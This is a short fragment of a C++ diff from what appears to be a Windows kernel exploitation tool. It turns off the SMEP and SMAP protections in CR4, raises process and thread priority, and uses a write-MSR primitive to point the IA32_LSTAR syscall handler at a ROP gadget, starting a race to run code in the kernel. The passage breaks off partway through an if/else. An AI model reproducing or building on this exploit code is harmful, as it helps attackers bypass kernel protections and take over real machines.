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@ -46,8 +46,14 @@ namespace vdm
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.process_context_identifiers;
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m_smep_off.flags = cr4_value.flags;
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m_smep_on.flags = cr4_value.flags;
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m_smep_off.smep_enable = false;
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// if your cpu supports SMAP and your on 19H1 or above SMAP will be used...
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m_smep_off.smap_enable = false;
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// WARNING: some virtual machines dont have SMEP...
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// my VMWare VM doesnt... nor does my Virtual Box VM...
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m_smep_on.flags = cr4_value.flags;
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m_smep_on.smep_enable = cpuid_features.ebx.smep;
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m_smep_on.smap_enable = cpuid_features.ebx.smap;
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@ -179,7 +185,7 @@ namespace vdm
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SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
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SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
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// set LSTAR to first rop gadget...
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// set LSTAR to first rop gadget... race begins here...
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if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
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std::printf("> failed to set LSTAR...\n");
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else
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